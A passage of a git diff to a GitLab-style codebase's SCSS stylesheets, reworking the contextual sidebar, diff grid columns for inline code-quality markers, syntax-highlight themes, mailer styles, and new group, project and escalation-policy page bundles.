+
+ a {
+ @include gl-px-4;
+ }
+
+ .fly-out-top-item {
+ > a {
+ display: flex;
+ }
+
+ .fly-out-badge {
+ margin-left: 8px;
+ }
+ }
+
+ .fly-out-top-item-name {
+ flex: 1;
+ }
+ }
+}
+
+@mixin context-header {
+ $avatar-box-shadow: inset 0 0 0 1px $t-gray-a-08;
+
+ @include gl-p-2;
+ @include gl-mb-2;
+ @include gl-mt-0;
+
+ .avatar-container {
+ @include gl-font-weight-normal;
+ flex: none;
+ box-shadow: $avatar-box-shadow;
+
+ &.rect-avatar {
+ @include gl-border-none;
+
+ .avatar.s32 {
+ @extend .rect-avatar.s32;
+ color: $gray-900;
+ box-shadow: $avatar-box-shadow;
+ }
+ }
+ }
+
+ .sidebar-context-title {
+ color: $top-level-item-color;
+ }
+}
+
+@mixin top-level-item {
+ @include gl-px-4;
+ @include gl-py-3;
+ @include gl-display-flex;
+ @include gl-align-items-center;
+ @include gl-rounded-base;
+ @include gl-w-auto;
+ @include gl-line-height-normal;
+ transition: none;
+ margin: $sidebar-top-item-tb-margin $sidebar-top-item-lr-margin;
+
+ &:hover {
+ background-color: $indigo-900-alpha-008;
+ }
+}
+
+@mixin fly-out-top-item($has-sub-items: false) {
+ @include gl-display-none;
+
+ a,
+ a:hover,
+ &.active a,
+ .fly-out-top-item-container {
+ @include gl-mx-0;
+ @include gl-px-5;
+ @include gl-cursor-default;
+ @include gl-pointer-events-none;
+ @include gl-font-sm;
+ background-color: $purple-900;
+ color: $white;
+
+ @if $has-sub-items {
+ @include gl-mt-n2;
+ border-bottom-left-radius: 0;
+ border-bottom-right-radius: 0;
+ } @else {
+ @include gl-my-n2;
+ @include gl-mt-0;
+ @include gl-relative;
+ background-color: $black;
+
+ strong {
+ @include gl-font-weight-normal;
+ }
+
+ &::before {
+ @include gl-absolute;
+ content: '';
+ display: block;
+ top: 50%;
+ left: $gl-spacing-scale-3/-2;
+ margin-top: -$gl-spacing-scale-3;
+ width: 0;
+ height: 0;
+ border-top: $gl-spacing-scale-3 solid transparent;
+ border-bottom: $gl-spacing-scale-3 solid transparent;
+ border-right: $gl-spacing-scale-3 solid $black;
+ }
+ }
+ }
+}
+
+//
+// PAGE-LAYOUT
+//
+
+.page-with-contextual-sidebar {
+ transition: padding-left $sidebar-transition-duration;
+
+ @include media-breakpoint-up(md) {
+ padding-left: $contextual-sidebar-collapsed-width;
+ }
+
+ @include media-breakpoint-up(xl) {
+ padding-left: $contextual-sidebar-width;
+ }
+
+ .issues-bulk-update.right-sidebar.right-sidebar-expanded .issuable-sidebar-header {
+ padding: 10px 0 15px;
+ }
+}
+
+.page-with-icon-sidebar {
+ @include media-breakpoint-up(md) {
+ padding-left: $contextual-sidebar-collapsed-width;
+ }
+}
+
+//
+// THE PANEL
+//
+
+.nav-sidebar {
+ @include gl-fixed;
+ @include gl-bottom-0;
+ @include gl-left-0;
+ transition: width $sidebar-transition-duration, left $sidebar-transition-duration;
+ z-index: 600;
+ width: $contextual-sidebar-width;
+ top: $header-height;
+ background-color: $gray-50;
+ transform: translate3d(0, 0, 0);
+
+ &.sidebar-collapsed-desktop {
+ @include collapse-contextual-sidebar;
+ }
+
+ &.sidebar-expanded-mobile {
+ left: 0;
+ }
+
+ a {
+ @include gl-text-decoration-none;
+ color: $top-level-item-color;
+ }
+
+ li {
+ white-space: nowrap;
+
+ .nav-item-name {
+ flex: 1;
+ }
+
+ > a,
+ > .fly-out-top-item-container {
+ @include top-level-item;
+ }
+
+ &.active {
+ > a {
+ font-weight: $gl-font-weight-bold;
+ }
+
+ &:not(.fly-out-top-item) {
+ > a:not(.has-sub-items) {
+ background-color: $indigo-900-alpha-008;
+ }
+ }
+ }
+ }
+
+ ul {
+ padding-left: 0;
+ list-style: none;
+ }
+
+ @include media-breakpoint-down(sm) {
+ left: (-$contextual-sidebar-width);
+ }
+
+ .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+ }
+
+ a:not(.has-sub-items) + .sidebar-sub-level-items {
+ .fly-out-top-item {
+ @include fly-out-top-item($has-sub-items: false);
+ }
+ }
+
+ a.has-sub-items + .sidebar-sub-level-items {
+ .fly-out-top-item {
+ @include fly-out-top-item($has-sub-items: true);
+ }
+ }
+
+ @media (min-width: map-get($grid-breakpoints, md)) and (max-width: map-get($grid-breakpoints, xl) - 1px) {
+ &:not(.sidebar-expanded-mobile) {
+ @include collapse-contextual-sidebar;
+ @include collapse-contextual-sidebar-content;
+ }
+ }
+}
+
+.nav-sidebar-inner-scroll {
+ @include gl-h-full;
+ @include gl-w-full;
+ @include gl-overflow-auto;
+
+ > div.context-header {
+ @include gl-mt-2;
+
+ a {
+ @include top-level-item;
+ @include context-header;
+ }
+ }
+}
+
+.sidebar-top-level-items {
+ @include gl-mt-2;
+ margin-bottom: 60px;
+
+ .context-header a {
+ @include context-header;
+ }
+
+ > li {
+ .badge.badge-pill {
+ @include gl-rounded-lg;
+ @include gl-py-1;
+ @include gl-px-3;
+ background-color: $blue-100;
+ color: $blue-700;
+ }
+
+ &.active {
+ .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+ }
+
+ .badge.badge-pill {
+ @include gl-font-weight-normal; // TODO: update in `theme_helper.scss`
+ color: $blue-700; // TODO: update in `theme_helper.scss`
+ }
+ }
+ }
+}
+
+.sidebar-sub-level-items {
+ @include gl-py-0;
+ @include gl-display-none;
+
+ &:not(.fly-out-list) {
+ li > a {
+ // The calculation formula:
+ // 12px: normal padding on the menu anchors
+ // +
+ // 16px: the width of the SVG icon in the top-level links
+ // +
+ // 8px: margin-right on the SVG icon in the top-level links
+ // =
+ // 36px (4.5 times the $grid-size)
+ padding-left: $grid-size * 4.5;
+ }
+ }
+}
+
+.is-showing-fly-out {
+ @include sub-level-items-flyout;
+}
+
+//
+// COLLAPSED STATE
+//
+
+.toggle-sidebar-button,
+.close-nav-button {
+ @include side-panel-toggle;
+ background-color: $gray-50;
+ border-top: 1px solid $border-color;
+ color: $top-level-item-color;
+ position: fixed;
+ bottom: 0;
+ width: $contextual-sidebar-width;
+
+ .collapse-text,
+ .icon-chevron-double-lg-left,
+ .icon-chevron-double-lg-right {
+ color: inherit;
+ }
+}
+
+.collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+}
+
+.sidebar-collapsed-desktop {
+ @include collapse-contextual-sidebar-content;
+}
+
+//
+// MOBILE PANEL
+//
+
+.close-nav-button {
+ display: none;
+}
+
+@include media-breakpoint-down(sm) {
+ .close-nav-button {
+ display: flex;
+ }
+
+ .toggle-sidebar-button {
+ display: none;
+ }
+
+ .mobile-overlay {
+ display: none;
+
+ &.mobile-nav-open {
+ display: block;
+ position: fixed;
+ background-color: $black-transparent;
+ height: 100%;
+ width: 100%;
+ z-index: $zindex-dropdown-menu;
+ }
+ }
+}
+
+//
+// PANELS-SPECIFIC
+// TODO: Check whether we can remove these in favor of the utility-classes
+//
+
+.settings-avatar {
+ background-color: $white;
+
+ svg {
+ fill: $gl-text-color-secondary;
+ margin: auto;
+ }
+}
+
diff --git a/app/assets/stylesheets/framework/diffs.scss b/app/assets/stylesheets/framework/diffs.scss
index a07e0b48cff..c0e9289309a 100644
--- a/app/assets/stylesheets/framework/diffs.scss
+++ b/app/assets/stylesheets/framework/diffs.scss
@@ -598,7 +598,9 @@ table.code {
.diff-grid-left,
.diff-grid-right {
display: grid;
- grid-template-columns: 50px 8px 1fr;
+ // Zero width column is a placeholder for the EE inline code quality diff
+ // see ee/.../diffs.scss for more details
+ grid-template-columns: 50px 8px 0 1fr;
}
.diff-grid-comments {
@@ -628,7 +630,9 @@ table.code {
.diff-grid-left,
.diff-grid-right {
- grid-template-columns: 50px 50px 8px 1fr;
+ // Zero width column is a placeholder for the EE inline code quality diff
+ // see ee/../diffs.scss for more details
+ grid-template-columns: 50px 50px 8px 0 1fr;
}
}
}
@@ -642,6 +646,10 @@ table.code {
align-items: center;
padding: 0 1rem;
+ .diff-stats-contents {
+ display: contents;
+ }
+
.diff-stats-group {
padding: 0 0.25rem;
}
diff --git a/app/assets/stylesheets/framework/gfm.scss b/app/assets/stylesheets/framework/gfm.scss
index 579a68ac8e4..40e11b50eba 100644
--- a/app/assets/stylesheets/framework/gfm.scss
+++ b/app/assets/stylesheets/framework/gfm.scss
@@ -4,7 +4,8 @@
.gfm-commit,
.gfm-commit_range {
- @extend .commit-sha;
+ @include gl-font-monospace;
+ font-size: 95%;
}
.gfm-project_member {
diff --git a/app/assets/stylesheets/framework/header.scss b/app/assets/stylesheets/framework/header.scss
index 7566a533911..8639b9a7f84 100644
--- a/app/assets/stylesheets/framework/header.scss
+++ b/app/assets/stylesheets/framework/header.scss
@@ -106,7 +106,7 @@ $top-nav-hover-bg: var(--indigo-900-alpha-008, $indigo-900-alpha-008) !important
&.menu-expanded {
@include media-breakpoint-down(xs) {
- .title-container {
+ .hide-when-menu-expanded {
display: none;
}
@@ -665,3 +665,26 @@ $top-nav-hover-bg: var(--indigo-900-alpha-008, $indigo-900-alpha-008) !important
color: inherit !important;
}
}
+
+.top-nav-responsive {
+ @include gl-display-none;
+ color: var(--indigo-900, $theme-indigo-900);
+}
+
+.top-nav-responsive-open {
+ .hide-when-top-nav-responsive-open {
+ @include media-breakpoint-down(xs) {
+ display: none !important;
+ }
+ }
+
+ .top-nav-responsive {
+ @include media-breakpoint-down(xs) {
+ @include gl-display-block;
+ }
+ }
+
+ .navbar-gitlab .header-content .title-container {
+ flex: 0;
+ }
+}
diff --git a/app/assets/stylesheets/framework/highlight.scss b/app/assets/stylesheets/framework/highlight.scss
index 73a2170fc68..b4a1d9f9977 100644
--- a/app/assets/stylesheets/framework/highlight.scss
+++ b/app/assets/stylesheets/framework/highlight.scss
@@ -33,6 +33,10 @@
padding-left: 10px;
padding-right: 10px;
white-space: pre;
+
+ &:empty::before {
+ content: '\200b';
+ }
}
}
}
@@ -46,7 +50,6 @@
a {
font-family: $monospace-font;
display: block;
- font-size: $code-font-size !important;
white-space: nowrap;
i,
diff --git a/app/assets/stylesheets/framework/layout.scss b/app/assets/stylesheets/framework/layout.scss
index 4f9896dd58a..e00bb83362a 100644
--- a/app/assets/stylesheets/framework/layout.scss
+++ b/app/assets/stylesheets/framework/layout.scss
@@ -38,8 +38,11 @@ body {
}
}
-.content-wrapper {
+.content-wrapper-margin {
margin-top: $header-height;
+}
+
+.content-wrapper {
padding-bottom: 100px;
}
@@ -166,15 +169,8 @@ body {
}
.content-wrapper {
- margin-top: 0;
padding-bottom: 0;
flex: 1;
min-height: 0;
}
-
- &.flash-shown {
- .content-wrapper {
- margin-top: 0;
- }
- }
}
diff --git a/app/assets/stylesheets/framework/lists.scss b/app/assets/stylesheets/framework/lists.scss
index a3e8b2c245c..9fe9f9a845c 100644
--- a/app/assets/stylesheets/framework/lists.scss
+++ b/app/assets/stylesheets/framework/lists.scss
@@ -135,7 +135,7 @@ ul.content-list {
float: right;
> .control-text {
- margin-right: $gl-padding-top;
+ margin-right: $grid-size;
line-height: $list-text-height;
&:last-child {
@@ -148,8 +148,6 @@ ul.content-list {
> .dropdown.inline {
margin-right: $grid-size;
display: inline-block;
- margin-top: 3px;
- margin-bottom: 4px;
&.btn-ldap-override {
@include media-breakpoint-up(sm) {
diff --git a/app/assets/stylesheets/framework/mixins.scss b/app/assets/stylesheets/framework/mixins.scss
index 1e2fc1445e8..fcf86680bb3 100644
--- a/app/assets/stylesheets/framework/mixins.scss
+++ b/app/assets/stylesheets/framework/mixins.scss
@@ -446,3 +446,19 @@
}
}
}
+
+@mixin side-panel-toggle {
+ transition: width $sidebar-transition-duration;
+ height: $toggle-sidebar-height;
+ padding: 0 $gl-padding;
+ background-color: $gray-light;
+ border: 0;
+ color: $gl-text-color-secondary;
+ display: flex;
+ align-items: center;
+
+ &:hover {
+ background-color: $border-color;
+ color: $gl-text-color;
+ }
+}
diff --git a/app/assets/stylesheets/framework/sidebar.scss b/app/assets/stylesheets/framework/sidebar.scss
index cb8a0c40f7f..e35feb8c62d 100644
--- a/app/assets/stylesheets/framework/sidebar.scss
+++ b/app/assets/stylesheets/framework/sidebar.scss
@@ -232,3 +232,8 @@
}
}
}
+
+.toggle-right-sidebar-button {
+ @include side-panel-toggle;
+ border-bottom: 1px solid $border-color;
+}
diff --git a/app/assets/stylesheets/framework/system_messages.scss b/app/assets/stylesheets/framework/system_messages.scss
index 10796f319bf..437915d5034 100644
--- a/app/assets/stylesheets/framework/system_messages.scss
+++ b/app/assets/stylesheets/framework/system_messages.scss
@@ -52,7 +52,7 @@
top: $system-header-height + $header-height;
}
- .content-wrapper {
+ .content-wrapper-margin {
margin-top: $system-header-height + $header-height;
}
@@ -90,7 +90,7 @@
bottom: $system-footer-height;
}
- .content-wrapper {
+ .content-wrapper-margin {
margin-bottom: 16px;
}
diff --git a/app/assets/stylesheets/framework/variables.scss b/app/assets/stylesheets/framework/variables.scss
index bfb21d7112b..d3976cfa8c7 100644
--- a/app/assets/stylesheets/framework/variables.scss
+++ b/app/assets/stylesheets/framework/variables.scss
@@ -9,7 +9,7 @@ $sidebar-transition-duration: 0.3s;
$sidebar-breakpoint: 1024px;
$default-transition-duration: 0.15s;
$contextual-sidebar-width: 220px;
-$contextual-sidebar-collapsed-width: 50px;
+$contextual-sidebar-collapsed-width: 48px;
$toggle-sidebar-height: 48px;
/**
@@ -573,6 +573,9 @@ $inactive-badge-background: rgba($black, 0.08);
$sidebar-toggle-height: 60px;
$sidebar-toggle-width: 40px;
$sidebar-milestone-toggle-bottom-margin: 10px;
+$sidebar-avatar-size: 32px;
+$sidebar-top-item-lr-margin: 4px;
+$sidebar-top-item-tb-margin: 1px;
/*
* Buttons
@@ -714,6 +717,18 @@ $job-line-number-margin: 43px;
$job-arrow-margin: 55px;
/*
+ * Calendar
+ */
+// See https://gitlab.com/gitlab-org/gitlab/-/issues/332150 to align with Pajamas Design System
+$calendar-activity-colors: (
+ #ededed,
+ #acd5f2,
+ #7fa8c9,
+ #527ba0,
+ #254e77,
+);
+
+/*
* Commit Page
*/
$commit-max-width-marker-color: rgba(0, 0, 0, 0);
diff --git a/app/assets/stylesheets/highlight/themes/dark.scss b/app/assets/stylesheets/highlight/themes/dark.scss
index d6523265a43..2d180f49f97 100644
--- a/app/assets/stylesheets/highlight/themes/dark.scss
+++ b/app/assets/stylesheets/highlight/themes/dark.scss
@@ -131,6 +131,7 @@ $dark-il: #de935f;
.diff-td.diff-line-num.hll:not(.empty-cell),
.diff-td.line-coverage.hll:not(.empty-cell),
+ .diff-td.line-codequality.hll:not(.empty-cell),
.diff-td.line_content.hll:not(.empty-cell),
td.diff-line-num.hll:not(.empty-cell),
td.line-coverage.hll:not(.empty-cell),
@@ -145,6 +146,7 @@ $dark-il: #de935f;
.diff-line-num.new,
.line-coverage.new,
+ .line-codequality.new,
.line_content.new {
@include diff-background($dark-new-bg, $dark-new-idiff, $dark-border);
@@ -156,6 +158,7 @@ $dark-il: #de935f;
.diff-line-num.old,
.line-coverage.old,
+ .line-codequality.old,
.line_content.old {
@include diff-background($dark-old-bg, $dark-old-idiff, $dark-border);
diff --git a/app/assets/stylesheets/highlight/themes/monokai.scss b/app/assets/stylesheets/highlight/themes/monokai.scss
index 027f2fa63d3..c0931188cc3 100644
--- a/app/assets/stylesheets/highlight/themes/monokai.scss
+++ b/app/assets/stylesheets/highlight/themes/monokai.scss
@@ -132,6 +132,7 @@ $monokai-gh: #75715e;
.diff-td.diff-line-num.hll:not(.empty-cell),
.diff-td.line-coverage.hll:not(.empty-cell),
+ .diff-td.line-codequality.hll:not(.empty-cell),
.diff-td.line_content.hll:not(.empty-cell),
td.diff-line-num.hll:not(.empty-cell),
td.line-coverage.hll:not(.empty-cell),
@@ -146,6 +147,7 @@ $monokai-gh: #75715e;
.diff-line-num.new,
.line-coverage.new,
+ .line-codequality.new,
.line_content.new {
@include diff-background($monokai-new-bg, $monokai-new-idiff, $monokai-diff-border);
@@ -157,6 +159,7 @@ $monokai-gh: #75715e;
.diff-line-num.old,
.line-coverage.old,
+ .line-codequality.old,
.line_content.old {
@include diff-background($monokai-old-bg, $monokai-old-idiff, $monokai-diff-border);
diff --git a/app/assets/stylesheets/highlight/themes/none.scss b/app/assets/stylesheets/highlight/themes/none.scss
index 5002726bbc5..ef7eb244b61 100644
--- a/app/assets/stylesheets/highlight/themes/none.scss
+++ b/app/assets/stylesheets/highlight/themes/none.scss
@@ -56,7 +56,10 @@
.line-coverage {
@include line-coverage-border-color($green-500, $orange-500);
+ }
+ .line-coverage,
+ .line-codequality {
&.old,
&.new {
background-color: $white-normal;
diff --git a/app/assets/stylesheets/highlight/themes/solarized-dark.scss b/app/assets/stylesheets/highlight/themes/solarized-dark.scss
index cd0cb65e4e2..8f09a178af1 100644
--- a/app/assets/stylesheets/highlight/themes/solarized-dark.scss
+++ b/app/assets/stylesheets/highlight/themes/solarized-dark.scss
@@ -135,6 +135,7 @@ $solarized-dark-il: #2aa198;
.diff-td.diff-line-num.hll:not(.empty-cell),
.diff-td.line-coverage.hll:not(.empty-cell),
+ .diff-td.line-codequality.hll:not(.empty-cell),
.diff-td.line_content.hll:not(.empty-cell),
td.diff-line-num.hll:not(.empty-cell),
td.line-coverage.hll:not(.empty-cell),
@@ -156,6 +157,7 @@ $solarized-dark-il: #2aa198;
.diff-line-num.new,
.line-coverage.new,
+ .line-codequality.new,
.line_content.new {
@include diff-background($solarized-dark-new-bg, $solarized-dark-new-idiff, $solarized-dark-border);
@@ -167,6 +169,7 @@ $solarized-dark-il: #2aa198;
.diff-line-num.old,
.line-coverage.old,
+ .line-codequality.old,
.line_content.old {
@include diff-background($solarized-dark-old-bg, $solarized-dark-old-idiff, $solarized-dark-border);
diff --git a/app/assets/stylesheets/highlight/themes/solarized-light.scss b/app/assets/stylesheets/highlight/themes/solarized-light.scss
index 77e88053424..747cc639f91 100644
--- a/app/assets/stylesheets/highlight/themes/solarized-light.scss
+++ b/app/assets/stylesheets/highlight/themes/solarized-light.scss
@@ -142,6 +142,7 @@ $solarized-light-il: #2aa198;
.diff-td.diff-line-num.hll:not(.empty-cell),
.diff-td.line-coverage.hll:not(.empty-cell),
+ .diff-td.line-codequality.hll:not(.empty-cell),
.diff-td.line_content.hll:not(.empty-cell),
td.diff-line-num.hll:not(.empty-cell),
td.line-coverage.hll:not(.empty-cell),
@@ -156,6 +157,7 @@ $solarized-light-il: #2aa198;
.diff-line-num.new,
.line-coverage.new,
+ .line-codequality.new,
.line_content.new {
@include diff-background($solarized-light-new-bg,
$solarized-light-new-idiff, $solarized-light-border);
@@ -175,6 +177,7 @@ $solarized-light-il: #2aa198;
.diff-line-num.old,
.line-coverage.old,
+ .line-codequality.old,
.line_content.old {
@include diff-background($solarized-light-old-bg, $solarized-light-old-idiff, $solarized-light-border);
diff --git a/app/assets/stylesheets/highlight/white_base.scss b/app/assets/stylesheets/highlight/white_base.scss
index 18b2f0a5d58..86b01926dd7 100644
--- a/app/assets/stylesheets/highlight/white_base.scss
+++ b/app/assets/stylesheets/highlight/white_base.scss
@@ -219,7 +219,10 @@ pre.code,
.line-coverage {
@include line-coverage-border-color($green-400, $red-400);
+ }
+ .line-coverage,
+ .line-codequality {
&.old {
background-color: $line-removed;
}
diff --git a/app/assets/stylesheets/mailer.scss b/app/assets/stylesheets/mailer.scss
index 4f76deeb991..9d889f111dd 100644
--- a/app/assets/stylesheets/mailer.scss
+++ b/app/assets/stylesheets/mailer.scss
@@ -145,6 +145,27 @@ table.content {
padding: 15px 5px;
text-align: center;
}
+
+ td.mailer-align-left {
+ vertical-align: top;
+ padding: 16px 32px;
+ text-align: left;
+
+ h4 {
+ margin: 0;
+ }
+
+ ul {
+ list-style: none;
+ line-height: 1.6;
+ padding-left: 0;
+ margin: 8px 0 16px;
+ }
+
+ .mailer-icon {
+ margin-bottom: -1px;
+ }
+ }
}
tr.footer td {
diff --git a/app/assets/stylesheets/page_bundles/cycle_analytics.scss b/app/assets/stylesheets/page_bundles/cycle_analytics.scss
index 2742c95c6e1..2248d95ae24 100644
--- a/app/assets/stylesheets/page_bundles/cycle_analytics.scss
+++ b/app/assets/stylesheets/page_bundles/cycle_analytics.scss
@@ -30,32 +30,12 @@
.col-headers {
ul {
- @include clearfix;
margin: 0;
padding: 0;
}
li {
- display: inline-block;
- float: left;
line-height: 50px;
- width: 20%;
- }
-
- .stage-header {
- width: 20.5%;
- }
-
- .median-header {
- width: 19.5%;
- }
-
- .event-header {
- width: 45%;
- }
-
- .total-time-header {
- width: 15%;
}
}
@@ -120,7 +100,6 @@
}
li {
- @include clearfix;
list-style-type: none;
}
@@ -169,7 +148,6 @@
.events-description {
line-height: 65px;
- padding: 0 $gl-padding;
}
.events-info {
@@ -178,7 +156,6 @@
}
.stage-events {
- width: 60%;
min-height: 467px;
}
@@ -190,8 +167,8 @@
.stage-event-item {
@include clearfix;
list-style-type: none;
- padding: 0 0 $gl-padding;
- margin: 0 $gl-padding $gl-padding;
+ padding-bottom: $gl-padding;
+ margin-bottom: $gl-padding;
border-bottom: 1px solid var(--gray-50, $gray-50);
&:last-child {
diff --git a/app/assets/stylesheets/page_bundles/escalation_policies.scss b/app/assets/stylesheets/page_bundles/escalation_policies.scss
new file mode 100644
index 00000000000..f188dde1183
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/escalation_policies.scss
@@ -0,0 +1,37 @@
+@import 'mixins_and_variables_and_functions';
+
+.escalation-policy-modal {
+ width: 640px;
+}
+
+.rule-control {
+ width: 240px;
+}
+
+.rule-close-icon {
+ right: 1rem;
+}
+
+$stroke-size: 1px;
+
+.right-arrow {
+ @include gl-relative;
+ @include gl-mx-5;
+ @include gl-display-inline-block;
+ @include gl-vertical-align-middle;
+ height: $stroke-size;
+ background-color: var(--gray-900, $gray-900);
+ min-width: $gl-spacing-scale-7;
+
+ &-head {
+ @include gl-absolute;
+ top: -2*$stroke-size;
+ left: calc(100% - #{5*$stroke-size});
+ @include gl-display-inline-block;
+ @include gl-p-1;
+ @include gl-border-solid;
+ border-width: 0 $stroke-size $stroke-size 0;
+ border-color: var(--gray-900, $gray-900);
+ transform: rotate(-45deg);
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/group.scss b/app/assets/stylesheets/page_bundles/group.scss
new file mode 100644
index 00000000000..38dd07f617c
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/group.scss
@@ -0,0 +1,107 @@
+@import 'page_bundles/mixins_and_variables_and_functions';
+
+.group-home-panel {
+ margin-top: $gl-padding;
+ margin-bottom: $gl-padding;
+
+ .home-panel-avatar {
+ width: $home-panel-title-row-height;
+ height: $home-panel-title-row-height;
+ flex-shrink: 0;
+ flex-basis: $home-panel-title-row-height;
+ }
+
+ .home-panel-title {
+ font-size: 20px;
+ line-height: $gl-line-height-24;
+ font-weight: bold;
+
+ .icon {
+ vertical-align: -1px;
+ }
+
+ .home-panel-topic-list {
+ font-size: $gl-font-size;
+ font-weight: $gl-font-weight-normal;
+
+ .icon {
+ position: relative;
+ top: 3px;
+ margin-right: $gl-padding-4;
+ }
+ }
+ }
+
+ .home-panel-title-row {
+ @include media-breakpoint-down(sm) {
+ .home-panel-avatar {
+ width: $home-panel-avatar-mobile-size;
+ height: $home-panel-avatar-mobile-size;
+ flex-basis: $home-panel-avatar-mobile-size;
+
+ .avatar {
+ font-size: 20px;
+ line-height: 46px;
+ }
+ }
+
+ .home-panel-title {
+ margin-top: 4px;
+ margin-bottom: 2px;
+ font-size: $gl-font-size;
+ line-height: $gl-font-size-large;
+ }
+
+ .home-panel-topic-list,
+ .home-panel-metadata {
+ font-size: $gl-font-size-small;
+ }
+ }
+ }
+
+ .home-panel-metadata {
+ font-weight: normal;
+ font-size: 14px;
+ line-height: $gl-btn-line-height;
+ }
+
+ .home-panel-description {
+ @include media-breakpoint-up(md) {
+ font-size: $gl-font-size-large;
+ }
+ }
+}
+
+.group-nav-container .nav-controls {
+ .group-filter-form {
+ flex: 1 1 auto;
+ margin-right: $gl-padding-8;
+ }
+
+ .dropdown-menu-right {
+ margin-top: 0;
+ }
+
+ @include media-breakpoint-down(sm) {
+ .dropdown,
+ .dropdown .dropdown-toggle,
+ .btn-success {
+ display: block;
+ }
+
+ .group-filter-form,
+ .dropdown {
+ margin-bottom: 10px;
+ margin-right: 0;
+ }
+
+ &,
+ .group-filter-form,
+ .group-filter-form-field,
+ .dropdown,
+ .dropdown .dropdown-toggle,
+ .btn-success {
+ width: 100%;
+ }
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/pipelines.scss b/app/assets/stylesheets/page_bundles/pipelines.scss
index ace91d197b6..1081dd8f6d8 100644
--- a/app/assets/stylesheets/page_bundles/pipelines.scss
+++ b/app/assets/stylesheets/page_bundles/pipelines.scss
@@ -116,7 +116,7 @@
position: absolute;
right: -7px;
top: 11px;
- border-bottom: 2px solid $border-color;
+ border-bottom: 2px solid var(--border-color, $border-color);
}
}
diff --git a/app/assets/stylesheets/page_bundles/project.scss b/app/assets/stylesheets/page_bundles/project.scss
new file mode 100644
index 00000000000..7f044f081d4
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/project.scss
@@ -0,0 +1,82 @@
+@import 'page_bundles/mixins_and_variables_and_functions';
+
+.project-home-panel {
+ .home-panel-avatar {
+ flex-basis: $home-panel-title-row-height;
+ }
+
+ .home-panel-title {
+ .icon {
+ vertical-align: -1px;
+ }
+
+ .home-panel-topic-list {
+ .icon {
+ top: 3px;
+ }
+ }
+ }
+
+ .home-panel-title-row {
+ @include media-breakpoint-down(sm) {
+ .home-panel-avatar {
+ width: $home-panel-avatar-mobile-size;
+ height: $home-panel-avatar-mobile-size;
+ flex-basis: $home-panel-avatar-mobile-size;
+
+ .avatar {
+ font-size: 20px;
+ line-height: 46px;
+ }
+ }
+
+ .home-panel-title {
+ margin-top: 4px;
+ margin-bottom: 2px;
+ font-size: $gl-font-size;
+ line-height: $gl-font-size-large;
+ }
+ }
+ }
+
+ .home-panel-description {
+ @include media-breakpoint-up(md) {
+ font-size: $gl-font-size-large;
+ }
+ }
+}
+
+.project-repo-buttons {
+ .btn {
+ svg {
+ fill: $gray-500;
+ }
+ }
+
+ .download-button {
+ @include media-breakpoint-down(md) {
+ margin-left: 0;
+ }
+ }
+
+ .project-clone-holder {
+ display: inline-block;
+ margin: $gl-padding 0 0;
+
+ input {
+ height: $input-height;
+ }
+ }
+
+ .clone-options-dropdown {
+ min-width: 240px;
+
+ .dropdown-menu-inner-content {
+ min-width: 320px;
+ }
+ }
+
+ .mobile-git-clone {
+ margin-top: $gl-padding-8;
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/wiki.scss b/app/assets/stylesheets/page_bundles/wiki.scss
index 9f0fa137910..5525ad66e42 100644
--- a/app/assets/stylesheets/page_bundles/wiki.scss
+++ b/app/assets/stylesheets/page_bundles/wiki.scss
@@ -1,4 +1,5 @@
@import 'mixins_and_variables_and_functions';
+@import 'highlight.js/scss/a11y-light';
.title .edit-wiki-header {
width: 780px;
diff --git a/app/assets/stylesheets/pages/groups.scss b/app/assets/stylesheets/pages/groups.scss
index 2ec2da9241b..ca6c9b9a073 100644
--- a/app/assets/stylesheets/pages/groups.scss
+++ b/app/assets/stylesheets/pages/groups.scss
@@ -1,7 +1,3 @@
-.milestone-row {
- @include str-truncated(90%);
-}
-
.dashboard .side .card .card-header .input-group {
.form-control {
height: 42px;
@@ -49,195 +45,6 @@
color: $gray-700;
}
-.group-nav-container .nav-controls {
- .group-filter-form {
- flex: 1 1 auto;
- margin-right: $gl-padding-8;
- }
-
- .dropdown-menu-right {
- margin-top: 0;
- }
-
- @include media-breakpoint-down(sm) {
- .dropdown,
- .dropdown .dropdown-toggle,
- .btn-success {
- display: block;
- }
-
- .group-filter-form,
- .dropdown {
- margin-bottom: 10px;
- margin-right: 0;
- }
-
- &,
- .group-filter-form,
- .group-filter-form-field,
- .dropdown,
- .dropdown .dropdown-toggle,
- .btn-success {
- width: 100%;
- }
- }
-}
-
-.group-home-panel {
- margin-top: $gl-padding;
- margin-bottom: $gl-padding;
-
- .home-panel-avatar {
- width: $home-panel-title-row-height;
- height: $home-panel-title-row-height;
- flex-shrink: 0;
- flex-basis: $home-panel-title-row-height;
- }
-
- .home-panel-title {
- font-size: 20px;
- line-height: $gl-line-height-24;
- font-weight: bold;
-
- .icon {
- vertical-align: -1px;
- }
-
- .home-panel-topic-list {
- font-size: $gl-font-size;
- font-weight: $gl-font-weight-normal;
-
- .icon {
- position: relative;
- top: 3px;
- margin-right: $gl-padding-4;
- }
- }
- }
-
- .home-panel-title-row {
- @include media-breakpoint-down(sm) {
- .home-panel-avatar {
- width: $home-panel-avatar-mobile-size;
- height: $home-panel-avatar-mobile-size;
- flex-basis: $home-panel-avatar-mobile-size;
-
- .avatar {
- font-size: 20px;
- line-height: 46px;
- }
- }
-
- .home-panel-title {
- margin-top: 4px;
- margin-bottom: 2px;
- font-size: $gl-font-size;
- line-height: $gl-font-size-large;
- }
-
- .home-panel-topic-list,
- .home-panel-metadata {
- font-size: $gl-font-size-small;
- }
- }
- }
-
- .home-panel-metadata {
- font-weight: normal;
- font-size: 14px;
- line-height: $gl-btn-line-height;
- }
-
- .home-panel-description {
- @include media-breakpoint-up(md) {
- font-size: $gl-font-size-large;
- }
- }
-}
-
-.home-panel-buttons {
- .home-panel-action-button {
- vertical-align: top;
- }
-
- .new-project-subgroup {
- .dropdown-primary {
- min-width: 115px;
- }
-
- .dropdown-toggle {
- .dropdown-btn-icon {
- pointer-events: none;
- color: inherit;
- margin-left: 0;
- }
- }
-
- .dropdown-menu {
- min-width: 280px;
- margin-top: 2px;
- }
-
- li:not(.divider) {
- padding: 0;
-
- &.droplab-item-selected {
- .icon-container {
- .list-item-checkmark {
